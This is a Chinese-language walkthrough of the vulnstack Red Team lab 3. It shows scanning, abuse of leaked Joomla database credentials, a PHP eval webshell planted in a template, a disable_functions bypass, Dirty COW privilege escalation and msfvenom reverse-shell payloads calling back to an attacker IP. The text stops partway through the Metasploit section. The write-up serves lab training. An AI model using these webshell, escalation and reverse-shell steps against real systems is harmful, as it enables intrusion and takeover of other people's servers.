万字讲解内网横向渗透vulnstack(三):红日靶场3实战全流程(Zerologon法 CVE-2020-1472)

目录

一、渗透环境搭建

1、网络拓扑

2、角色表

3、渗透技术

4、网络搭建

(1)网络适配器配置

①修改Web-CentOS的网卡配置

②查看kali的ip地址开机修改ip地址

③配置CentOS网卡0的ip地址

(2)配置网段

①编辑虚拟网络编辑器

[② vmnet2网卡](#② vmnet2网卡)

二、信息搜集

1、探测存活主机

2、探测端口

三、80端口渗透

1、目录扫描

(1)潜在敏感文件

(2)目录结构暴露

(3)安全风险点

[① 目录结构暴露](#① 目录结构暴露)

[② 数据库配置泄露](#② 数据库配置泄露)

2、登录数据库

(1)am2zu_user表

(2)umnbt_users表

3、创建jooma账户并配置为管理员

(1)构造SQL语句

(2)执行SQL语句

4、登录Jooma管理员账户

5、Joomla版本探测

(1)目录扫描获取README.txt

(2)whatweb

(3)Joomscan

6、上传木马

(1)编辑模板

(2)构造木马

(3)插入木马

7、蚁剑连接

8、虚拟终端

(1)执行命令

(2)查看phpinfo

[(3)disable function插件](#(3)disable function插件)

(4)执行命令

(5)Nginx反向代理

9、发现账户密码

四、22端口渗透(脏牛提权)

1、ssh登录

2、查看基本信息

3、上传PoC

4、探测脏牛漏洞

5、编译脏牛提权程序

6、执行脏牛提权程序

7、切换root账户

[五、MSF监听(Web CenOS)](#五、MSF监听(Web CenOS))

1、MSF生成木马

(1)失败命令

(2)成功命令

2、下载木马文件

3、MSF监听

4、执行msf.elf

5、MSF监听成功

六、Fscan探测

1、上传fscan

2、fscan探测

七、frp代理配置

1、原理详解

2、服务器(KALI攻击机)

(1)配置文件frps.ini

(2)kali执行frps

3、客户端(Web跳板机)

(1)配置文件frpc.ini

(2)Web服务器下载frpc文件

(3)Web服务器执行frpc

4、Kali配置proxychains

八、SMB爆破(域成员)

1、探测SMB

[(1)目标1: 192.168.93.10 - Windows Server 2012 R2](#(1)目标1: 192.168.93.10 - Windows Server 2012 R2)

[(2)目标2: 192.168.93.20 - Windows Server 2008](#(2)目标2: 192.168.93.20 - Windows Server 2008)

[(3)目标3: 192.168.93.30 - Windows 7](#(3)目标3: 192.168.93.30 - Windows 7)

2、构造密码字典

3、爆破SMB密码

[(1)爆破192.168.93.20(WinServer 2008)](#(1)爆破192.168.93.20(WinServer 2008))

[(2)爆破192.168.93.30(PC Win7)](#(2)爆破192.168.93.30(PC Win7))

[(3)爆破192.168.93.10(WinServer 2012)](#(3)爆破192.168.93.10(WinServer 2012))

九、横向渗透

[1、Wmiexec横向移动192.168.93.30(PC Win7)](#1、Wmiexec横向移动192.168.93.30(PC Win7))

2、Wmiexec横向移动192.168.93.20(WinServer2008)

3、zerologon渗透域控192.168.93.10

(1)探测漏洞

(2)置空密码

(3)打印哈希

(4)PTH获取域控控制权限

(5)恢复密码


本文详细记录了红日靶场2渗透测试的全过程,从外网渗透到内网域控的完整攻击链。攻击者首先通过Kali探测发现3306端口有数据库的弱口令漏洞,使用navicat远程连接3306端口后发现Joomla数据库。在Jooma数据库中创建管理员账户,并登录Joomla网站的管理后台,利用模板漏洞上传Webshell获取内网Ubuntu服务器权限,发现SSH凭证后登录边界跳板机。在跳板机上进行脏牛提权获取root权限,随后以此为支点对内网展开横向渗透。通过FRP代理建立隧道,使用Hydra爆破SMB密码,成功获取Windows服务器权限。最后利用Zerologon漏洞(CVE-2020-1472)攻陷域控制器(192.168.93.10)。整个攻击过程展示了从外网突破到内网横向移动的完整技术链,包括信息收集、漏洞利用、权限提升、代理隧道和凭证窃取等关键技术节点。

  • 信息收集与外部突破

    • 端口扫描 :使用 Kali 攻击机进行扫描,发现目标 192.168.59.188 开放 3306 端口。

    • 数据库弱口令:利用 MySQL 数据库的弱口令漏洞,通过 Navicat 远程连接成功。

    • 篡改 Joomla 数据库:在数据库中为 Joomla 网站创建新的后台管理员账户。

  • 获取 WebShell 与立足内网

    • 后台登录:使用新建的管理员账户登录 Joomla 网站管理后台。

    • 模板漏洞 Getshell :利用 Joomla 模板编辑功能,写入 WebShell,成功获取内网 Ubuntu 服务器 (192.168.93.120) 的控制权。

  • 横向移动至边界跳板机

    • 发现 SSH 凭证:在 Ubuntu 服务器的文件系统中,发现并获取了用于 SSH 登录的账号密码。

    • 登录跳板机 :使用获得的凭证,从 Kali 直接 SSH 登录至边界 CentOS 跳板机 (192.168.59.188)。

  • 权限提升与稳固访问

    • 脏牛提权:在 CentOS 跳板机上,利用 Dirty Cow 内核漏洞进行提权,成功获得 root 权限。

    • 建立代理隧道:使用 FRP 等工具,将跳板机作为 socks5 代理,建立通向内网的稳定隧道,方便 Kali 直接访问内网资源。

  • 内网横向移动与域渗透

    • SMB 密码爆破:通过建立的代理,使用 Hydra 对内网主机的 SMB 服务进行密码爆破,成功获取一台 Windows 服务器的权限。

    • 攻陷域控 :利用zerologon漏洞(CVE-2020-1472)对域控制器 (192.168.93.10)渗透,最终完成对整个内网域的掌控。

一、渗透环境搭建

1、网络拓扑

**Kali攻击机:**Vmnet8-192.168.59.128

Web跳板机(开启Nginx反向代理,开启80端口、3306端口和22端口):

Vmnet8-192.168.59.188 ,Vmnet1网卡:192.168.93.100

内网渗透目标:Vmnet2-192.168.93.0/24

**Web Ubuntu:**192.168.93.120(Joomla服务真实IP)

**Windows Server 2012:**192.168.93.10

**Windows Server2008(域控DC):**192.168.93.20

**Windows7 PC:**192.168.93.30

2、角色表

攻击方为Kali攻击机(192.168.59.128);边界是具备双网卡的CentOS跳板机(外网192.168.59.188/内网192.168.93.100),其通过Nginx将Joomla请求反向代理至内网Ubuntu服务器(192.168.93.120);最终以跳板机为支点,横向渗透内网的三台Windows主机------Windows Server 2012(192.168.93.10)、域控制器(192.168.93.20)和Windows 7 PC(192.168.93.30)。

角色 操作系统 / 服务 IP 地址 网卡 / 网络 描述
攻击机 Kali Linux 192.168.59.128 Vmnet8 (NAT) 攻击发起主机。
边界跳板机 CentOS, Nginx, SSH 外部 : 192.168.59.188 内部: 192.168.93.100 Vmnet8 (NAT) Vmnet1 (Host-Only) 核心跳板。外网提供Nginx反向代理和SSH服务,内网可直接访问目标网络。
Web服务器 Ubuntu, Joomla (真实服务) 192.168.93.120 Vmnet1 (Host-Only) 承载真实Joomla服务的内部服务器,是获取SSH凭据的来源。
内网服务器 Windows Server 2012 192.168.93.10 Vmnet1 (Host-Only) 内网渗透目标之一。
域控制器 Windows Server 2008 192.168.93.20 Vmnet1 (Host-Only) 内网核心目标,域控。
办公主机 Windows 7 192.168.93.30 Vmnet1 (Host-Only) 内网普通主机。

3、渗透技术

阶段 技术/工具 目标/效果
信息收集 Nmap 发现80端口及Joomla!服务
Web渗透 Joomla!漏洞利用、WebShell 获取Ubuntu服务器初始权限
权限提升 脏牛(Dirty Cow)漏洞 提升至root权限
持久化 SSH凭证利用 建立稳定跳板
内网代理 FRP 打通内网访问通道
凭据攻击 Hydra 爆破SMB密码
横向移动 WMIExec (Impacket) 远程命令执行,控制内网主机
域控攻陷 Zerologon (CVE-2020-1472) 攻陷域控制器,获得整个域的控制权

4、网络搭建

(1)网络适配器配置

①修改Web-CentOS的网卡配置

将桥接的网卡改为NAT,如下所示。

②查看kali的ip地址开机修改ip地址

举例我的系统中NAT的网段为192.168.59.0/24

kali系统配置为NAT,kali系统中的ip地址为192.168.59.128

③配置CentOS网卡0的ip地址

配置为NAT网段不冲突的ip地址,这里我选择192.168.59.188,执行命令后查看路由正确

ifconfig eth0 192.168.59.188/24

route

尝试ping kali,确保网络畅通,如下所示。

ping 192.168.59.128 --c 3

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

(2)配置网段

①编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡

将vmnet2网段改为192.168.93.0/24,如下所示。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24 发现ip地址为192.168.59.188,如下所示。

复制代码
nmap -sn 192.168.59.0/24

2、探测端口

使用Nmap命令"nmap -p- -A -sV 192.168.59.188"对目标主机进行全端口深度扫描。其中-p-扫描所有65535个端口,-A启用操作系统检测、版本探测和脚本扫描等聚合功能,-sV专门识别服务具体版本信息。该组合命令能全面获取目标系统的开放端口、运行服务版本、操作系统类型等关键情报

复制代码
┌──(root㉿kali)-[/home/kali]
└─# nmap -p- -A -sV 192.168.59.188


Starting Nmap 7.92 ( https://nmap.org ) at 2025-10-05 01:49 EDT
Nmap scan report for 192.168.59.188
Host is up (0.0011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_  2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp   open  http    nginx 1.9.4
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.9.4
3306/tcp open  mysql   MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.27-0ubuntu0.16.04.1
|   Thread ID: 88
|   Capabilities flags: 63487
|   Some Capabilities: InteractiveClient, Support41Auth, ODBCClient, ConnectWithDatabase, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, SupportsTransactions, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, SupportsLoadDataLocal, LongColumnFlag, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: /A\x12\x07\\x02j\x05<5:c%9\x14\x0BV
| os
|_  Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:32:46:C9 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.05 ms 192.168.59.188

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.50 seconds

根据Nmap扫描结果,目标系统192.168.59.188运行着过时的服务堆栈,存在严重安全隐患。系统开放了SSH(OpenSSH 5.3)、HTTP(nginx 1.9.4)和MySQL(5.7.27)服务,其中Web服务搭载Joomla CMS并暴露了管理员入口和完整目录结构。所有服务版本均较老旧,特别是nginx和OpenSSH存在已知漏洞风险,robots.txt文件还泄露了敏感路径信息,为攻击者提供了多重渗透途径,建议立即升级服务版本并加强访问控制。这是一个典型的LNMJ(Linux + Nginx + MySQL + Joomla)Web应用堆栈,运行在Ubuntu 16.04系统上。

三、80端口渗透

1、目录扫描

使用dirsearch对http://192.168.59.188/进行目录扫描,结果如下所示。

复制代码
D:\web\ONE-FOX\gui_scan\dirsearch>python dirsearch.py -u http://192.168.59.188/

  _|. _ _  _  _  _ _|_    v0.4.3 by 鹏组安全
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714

Output File: D:\web\ONE-FOX\gui_scan\dirsearch\reports\http_192.168.59.188\__25-10-05_09-41-44.txt

Target: http://192.168.59.188/

[09:41:45] Starting:
[09:41:47] 403 -  279B  - /.configuration.php.swp
[09:41:48] 403 -  279B  - /.ht_wsr.txt
[09:41:48] 403 -  279B  - /.htaccess.bak1
[09:41:48] 403 -  279B  - /.htaccess.orig
[09:41:48] 403 -  279B  - /.htaccess.sample
[09:41:48] 403 -  279B  - /.htaccess.save
[09:41:48] 403 -  279B  - /.htaccess_sc
[09:41:48] 403 -  279B  - /.htaccessBAK
[09:41:48] 403 -  279B  - /.htaccess_extra
[09:41:48] 403 -  279B  - /.htaccessOLD
[09:41:48] 403 -  279B  - /.htaccessOLD2
[09:41:48] 403 -  279B  - /.htaccess_orig
[09:41:48] 403 -  279B  - /.htm
[09:41:48] 403 -  279B  - /.html
[09:41:48] 403 -  279B  - /.htpasswd_test
[09:41:48] 403 -  279B  - /.htpasswds
[09:41:48] 403 -  279B  - /.httr-oauth
[09:41:50] 403 -  279B  - /.php
[09:41:52] 200 -   24KB - /1.php
[09:41:52] 200 -    0B  - /2.php
[09:42:03] 301 -  324B  - /administrator  ->  http://192.168.59.188/administrator/
[09:42:03] 200 -  525B  - /administrator/includes/
[09:42:03] 200 -   31B  - /administrator/cache/
[09:42:03] 200 -   31B  - /administrator/logs/
[09:42:03] 301 -  329B  - /administrator/logs  ->  http://192.168.59.188/administrator/logs/
[09:42:04] 200 -    2KB - /administrator/
[09:42:04] 200 -    2KB - /administrator/index.php
[09:42:09] 301 -  314B  - /bin  ->  http://192.168.59.188/bin/
[09:42:09] 200 -   31B  - /bin/
[09:42:10] 301 -  316B  - /cache  ->  http://192.168.59.188/cache/
[09:42:10] 200 -   31B  - /cache/
[09:42:12] 200 -   31B  - /cli/
[09:42:13] 301 -  321B  - /components  ->  http://192.168.59.188/components/
[09:42:13] 200 -   31B  - /components/
[09:42:14] 200 -    0B  - /configuration.php
[09:42:14] 200 -    2KB - /configuration.php~
[09:42:26] 200 -    1KB - /htaccess.txt
[09:42:27] 301 -  317B  - /images  ->  http://192.168.59.188/images/
[09:42:27] 200 -   31B  - /images/
[09:42:28] 301 -  319B  - /includes  ->  http://192.168.59.188/includes/
[09:42:28] 200 -   31B  - /includes/
[09:42:28] 200 -    4KB - /index.php
[09:42:29] 200 -    3KB - /index.php/login/
[09:42:31] 301 -  319B  - /language  ->  http://192.168.59.188/language/
[09:42:31] 200 -   31B  - /layouts/
[09:42:32] 301 -  320B  - /libraries  ->  http://192.168.59.188/libraries/
[09:42:32] 200 -   31B  - /libraries/
[09:42:32] 200 -    7KB - /LICENSE.txt
[09:42:36] 200 -   31B  - /media/
[09:42:36] 301 -  316B  - /media  ->  http://192.168.59.188/media/
[09:42:38] 301 -  318B  - /modules  ->  http://192.168.59.188/modules/
[09:42:38] 200 -   31B  - /modules/
[09:42:48] 301 -  318B  - /plugins  ->  http://192.168.59.188/plugins/
[09:42:48] 200 -   31B  - /plugins/
[09:42:52] 200 -    2KB - /README.txt
[09:42:54] 200 -  392B  - /robots.txt
[09:42:56] 403 -  279B  - /server-status
[09:42:56] 403 -  279B  - /server-status/
[09:43:05] 301 -  320B  - /templates  ->  http://192.168.59.188/templates/
[09:43:06] 200 -   31B  - /templates/
[09:43:06] 200 -   31B  - /templates/index.html
[09:43:06] 200 -    0B  - /templates/protostar/
[09:43:06] 200 -    0B  - /templates/beez3/
[09:43:06] 200 -    0B  - /templates/system/
[09:43:07] 200 -   31B  - /tmp/
[09:43:07] 301 -  314B  - /tmp  ->  http://192.168.59.188/tmp/
[09:43:15] 200 -  628B  - /web.config.txt

Task Completed

根据目录扫描结果分析,这是一个典型的 Joomla! CMS 网站结构。

(1)潜在敏感文件

  • /1.php (24KB) - 可疑的PHP文件,需要进一步检查

  • /2.php (0B) - 空文件,可能为测试文件

  • /configuration.php (0B) - Joomla配置文件(空)

  • /configuration.php~ (2KB) - 备份配置文件,可能包含数据库凭据

  • /web.config.txt - 配置文件备份

  • /robots.txt-目录结构

(2)目录结构暴露

  • 所有Joomla标准目录都可访问:

    • /administrator/ - 后台管理入口

    • /components/, /modules/, /plugins/ - 扩展目录

    • /includes/, /libraries/ - 核心库文件

(3)安全风险点

① 目录结构暴露

robots.txt可能包含目录结构,访问robots.txt文件,如下所示确实暴露了网站的目录结构,而且暴露这是jooma网站。

② 数据库配置泄露

configuration.php~ 可能包含数据库密码,访问该配置文件,方法如下所示。

复制代码
http://192.168.59.188/configuration.php~

分析配置文件,得到数据库的账号为testuser,密码为cvcvgjASD!@,如下所示。

复制代码
<?php
class JConfig {
	public $offline = '0';
	public $offline_message = '缃戠珯姝e湪缁存姢銆�<br /> 璇风◢鍊欒闂€�';
	public $display_offline_message = '1';
	public $offline_image = '';
	public $sitename = 'test';
	public $editor = 'tinymce';
	public $captcha = '0';
	public $list_limit = '20';
	public $access = '1';
	public $debug = '0';
	public $debug_lang = '0';
	public $debug_lang_const = '1';
	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'testuser';
	public $password = 'cvcvgjASD!@';
	public $db = 'joomla';
	public $dbprefix = 'am2zu_';
	public $live_site = '';
	public $secret = 'gXN9Wbpk7ef3A4Ys';
	public $gzip = '0';
	public $error_reporting = 'default';
	public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
	public $ftp_host = '';
	public $ftp_port = '';
	public $ftp_user = '';
	public $ftp_pass = '';
	public $ftp_root = '';
	public $ftp_enable = '0';
	public $offset = 'UTC';
	public $mailonline = '1';
	public $mailer = 'mail';
	public $mailfrom = 'test@test.com';
	public $fromname = 'test';
	public $sendmail = '/usr/sbin/sendmail';
	public $smtpauth = '0';
	public $smtpuser = '';
	public $smtppass = '';
	public $smtphost = 'localhost';
	public $smtpsecure = 'none';
	public $smtpport = '25';
	public $caching = '0';
	public $cache_handler = 'file';
	public $cachetime = '15';
	public $cache_platformprefix = '0';
	public $MetaDesc = '';
	public $MetaKeys = '';
	public $MetaTitle = '1';
	public $MetaAuthor = '1';
	public $MetaVersion = '0';
	public $robots = '';
	public $sef = '1';
	public $sef_rewrite = '0';
	public $sef_suffix = '0';
	public $unicodeslugs = '0';
	public $feed_limit = '10';
	public $feed_email = 'none';
	public $log_path = '/var/www/html/administrator/logs';
	public $tmp_path = '/var/www/html/tmp';
	public $lifetime = '15';
	public $session_handler = 'database';
	public $shared_session = '0';
}

2、登录数据库

使用navitcat访问数据库(192.168.59.188),账号为testuser,密码为cvcvgjASD!@,如下所示。

(1)am2zu_user表

用户名为administrator

密码为2y10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2

明显密码加了盐处理,很难破解.

(2)umnbt_users表

用户名为admin

密码为2y10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy

同样明显密码是加了盐处理后的,很难破解。

3、创建jooma账户并配置为管理员

参考如下方法新增Joomla账户

(1)构造SQL语句

URL:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

官方文档解释如下所示。

基于官方脚本,我撰写了python脚本,内容如下所示。

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import hashlib, random, string from datetime import datetime def joomla_password_hash(password, salt=None): salt = salt or ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) return f"{hashlib.md5((password + salt).encode()).hexdigest()}:{salt}" # 生成用户信息 username = 'mooyuan' password = 'ljn' joomla_password = joomla_password_hash(password) current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(f"用户名: {username}\n密码: {password}\n哈希: {joomla_password}") print(f"\nINSERT INTO `am2zu_users` (`name`,`username`,`password`,`params`,`registerDate`,`lastvisitDate`,`lastResetTime`) VALUES ('{username}','{username}','{joomla_password}','','{current_time}','{current_time}','{current_time}');") print(f"INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');") |

运行结果如下所示,生成用户名对应的密码哈希值,并构造SQL语句。

数据库插入用户名密码的语句如下所示,共两个SQL语句(分别对应下图绿色和蓝色背景语句)。

INSERT INTO `am2zu_users` (`name`,`username`,`password`,`params`,`registerDate`,`lastvisitDate`,`lastResetTime`) VALUES ('mooyuan','mooyuan','61b96dd94219ddb8409922fe08172658:f6R7XHcyhOI7NVX5ZxAxB91fNXwl92wM','','2025-10-05 00:49:53','2025-10-05 00:49:53','2025-10-05 00:49:53');

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

  • group_id = 8:超级管理员权限

  • LAST_INSERT_ID():自动获取新插入用户的ID

(2)执行SQL语句

4、登录Jooma管理员账户

http://192.168.59.188/administrator/

复制代码
http://192.168.59.188/administrator/

http://192.168.59.188/administrator/

5、Joomla版本探测

(1)目录扫描获取README.txt

访问README.txt ,如下所示发现joomla版本为3.9。

复制代码
http://192.168.59.188/README.txt

(2)whatweb

使用whatweb扫描网站http://192.168.59.188/,运行结果如下所示。

复制代码
└─# whatweb http://192.168.59.188/          
http://192.168.59.188/ [200 OK] Bootstrap, Cookies[d238a471ae12a7732425ae4995e23fce], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.9.4], HttpOnly[d238a471ae12a7732425ae4995e23fce], IP[192.168.59.188], JQuery, MetaGenerator[Joomla! - Open Source Content Management], OpenSearch[http://192.168.59.188/index.php/component/search/?layout=blog&amp;id=9&amp;Itemid=101&amp;format=opensearch], Script, Title[Home], nginx[1.9.4]

根据WhatWeb扫描结果,目标系统192.168.59.188运行着基于Joomla! CMS的网站,使用nginx/1.9.4作为Web服务器。该nginx版本较老(2015年发布),可能存在已知安全漏洞。系统采用了Bootstrap前端框架、jQuery库和HTML5技术,并启用了OpenSearch功能。在会话管理方面,系统配置了HttpOnly属性的Cookie,这在一定程度上增强了防护XSS攻击的能力。

(3)Joomscan

使用joomscan扫描网站,具体命令如下所示。

复制代码
sudo apt install joomscan
joomscan --url  http://192.168.59.188

根据JoomScan扫描结果,目标系统运行Joomla 3.9.12版本,核心文件未发现漏洞但存在多个安全隐患。扫描检测到目录列表功能在administrator/components、administrator/modules等关键目录开启,同时发现可读取的配置文件configuration.php~,可能泄露数据库凭据。robots.txt文件暴露了完整的Joomla目录结构,为攻击者提供了路径枚举便利。

复制代码
    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.59.188 ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.9.12

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.59.188/administrator/components
http://192.168.59.188/administrator/modules
http://192.168.59.188/administrator/templates
http://192.168.59.188/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.59.188/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.59.188/robots.txt 

Interesting path found from robots.txt
http://192.168.59.188/joomla/administrator/                                                                                                                                                                                                 
http://192.168.59.188/administrator/                                                                                                                                                                                                        
http://192.168.59.188/bin/                                                                                                                                                                                                                  
http://192.168.59.188/cache/                                                                                                                                                                                                                
http://192.168.59.188/cli/                                                                                                                                                                                                                  
http://192.168.59.188/components/                                                                                                                                                                                                           
http://192.168.59.188/includes/                                                                                                                                                                                                             
http://192.168.59.188/installation/                                                                                                                                                                                                         
http://192.168.59.188/language/                                                                                                                                                                                                             
http://192.168.59.188/layouts/                                                                                                                                                                                                              
http://192.168.59.188/libraries/                                                                                                                                                                                                            
http://192.168.59.188/logs/                                                                                                                                                                                                                 
http://192.168.59.188/modules/                                                                                                                                                                                                              
http://192.168.59.188/plugins/                                                                                                                                                                                                              
http://192.168.59.188/tmp/                                                                                                                                                                                                                  
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
[+] Finding common backup files name                                                                                                                                                                                                        
[++] Backup files are not found                                                                                                                                                                                                             
                                                                                                                                                                                                                                            
[+] Finding common log files name                                                                                                                                                                                                           
[++] error log is not found                                                                                                                                                                                                                 
                                                                                                                                                                                                                                            
[+] Checking sensitive config.php.x file                                                                                                                                                                                                    
[++] Readable config file is found                                                                                                                                                                                                          
 config file path : http://192.168.59.188/configuration.php~                                                                                                                                                                                
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
Your Report : reports/192.168.59.188/                                                                                                                                                                                                       

6、上传木马

搜索Joomla3.9.12的漏洞,该版本的Joomla模板编辑功能允许管理员直接编辑模板文件,但缺乏对PHP代码的安全验证,导致可以插入恶意代码。

(1)编辑模板

点击Extensions->templates->templates,具体如下所示。

选择第一个Beez3样式,可以看到有个error.php文件,我们将直接在里面写入一句话木马,然后保存。

(2)构造木马

构造木马脚本,如下所示这是POST参数为ljn的一句话木马。

|-------------------------|
| @eval($_POST['ljn']); |

(3)插入木马

将@eval($_POST['ljn']);插入并保存,如下所示。

7、蚁剑连接

8、虚拟终端

(1)执行命令

右键-虚拟终端,具体操作步骤如下所示。

输入ifconfig和whoami,如下所示均失败,并未返回命令执行的结果。接下来我们查看下是否服务器对命令执行进行了限制。

(2)查看phpinfo

如下所示,使用hackbar访问木马,post参数填写ljn=phpinfo();根据返回结果我哦们得知版本为7.1.32。

搜索disable,发现disable_func部分内容如下所示(注意标黄部分,这些都被禁止了)。

exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

(3)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

点击开始执行,如下所示。

(4)执行命令

在新弹出的虚拟终端窗口,首先我们尝试执行ls命令,如下所示成功返回当前目录结构。

(5)Nginx反向代理

查看ip地址,发现并不是192.168.59.188(内网ip地址对应192.168.93.100),而是192.168.93.120。我们再次梳理流程,蚁剑工具连接jooma漏洞写入到的木马http://192.168.59.188/templates/beez3/error.php后,通过ifconfig查到的ip地址为192.168.93.100,说明192.168.59.188跳板机(centos)的80端口开启了nginx的反向代理,指向的joomla服务实际上是192.168.93.120这台ubuntu机器。

此时可以查看Web服务器的Nginx设置文件(cat /etc/nginx/nginx.conf),如下所示确实配置了Nginx的HTTP 七层反向代理:当用户访问 http://localhost 时,Nginx 作为反向代理,会接收这个请求,然后以自己身份重新发起一个请求 到真正的后端服务器 http://192.168.93.120,拿到响应后再返回给用户。其中 proxy_pass http://192.168.93.120;: 定义了后端应用服务器的地址。

复制代码
user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {

  server {

        listen  80;
        server_name  localhost;

        location / {


         proxy_pass  http://192.168.93.120;

              proxy_set_header        Host $host;
              proxy_set_header        X-Real-IP $remote_addr;  #获取真实ip
              proxy_connect_timeout   90;
              proxy_send_timeout      90;
              proxy_read_timeout      90;
              proxy_buffer_size       4k;
              proxy_buffers           4 32k;
              proxy_busy_buffers_size 64k;
              proxy_temp_file_write_size 64k;
              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;#获取代理者的真实ip
              proxy_redirect          off;


}



}

}

stream  {



upstream proxy_name {

    server 192.168.93.120:3306;

}

server {

    listen 3306;

    proxy_pass proxy_name;

}


}

9、发现账户密码

双击会话或者右键-文件管理,进入文件系统,如下所示。

在/tmp/mysql/test.txt中发现账户和密码。

四、22端口渗透(脏牛提权)

1、ssh登录

上一步发现用户名和密码: wwwuser:wwwuser_123Aqx,尝试口令复用,使用xterm登陆 ssh。

登录成功,效果如下所示。

2、查看基本信息

执行whoami和uname -r获取系统信息,内核版本较低。

3、上传PoC

由于内核版本较低,可能有脏牛漏洞,接下来上传PoC。

4、探测脏牛漏洞

使用bash linux-exploit-suggester.sh执行linux漏洞探测脚本,如下所示存在脏牛漏洞。

5、编译脏牛提权程序

执行gcc -pthread 40839.c -o dcow -lcrypt编译脏牛漏洞,如下所示。

6、执行脏牛提权程序

接下来执行脏牛漏洞程序dcow,不过执行之前要删除文件/tmp/passwd.bak,具体如下所示。

  • rm /tmp/passwd.bak
  • .dcow

然后会显示成功添加一个firefart的root权限账号。

7、切换root账户

使用su firefart切换到刚刚创建的管理员账户,并通过id验证确实此时已经为管理员账号,说明提权成功。

  • su firefart
  • id

五、MSF监听(Web CenOS)

1、MSF生成木马

(1)失败命令

由于Web服务器(CentOS)系统较旧,使用如下两种方法生成的木马均会报错,无法监听成功。

复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell_x86.elf

(2)成功命令

使用MSFvenom工具生成一个Linux x64系统的后门程序,配置为向攻击者主机192.168.59.128的4444端口建立反向Meterpreter连接,输出格式为ELF可执行文件,最终生成名为meterpreter_nostaged_x64.elf的载荷文件用于渗透测试。

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o meterpreter_nostaged_x64.elf

对比失败和成功命令的区别,成功命令是**生成一个适用于Linux x64系统的、无阶段的反向Meterpreter载荷。其特别之处在于,该ELF文件是完整的自包含后门,无需从攻击机分阶段下载代码,因此能一次性建立全功能会话,有效规避了某些基于网络流量检测的分阶段攻击识别机制。**具体如下所示。

  • 失败命令:linux/x64/meterpreter/reverse_tcp

    • 这是一个分阶段 的载荷。

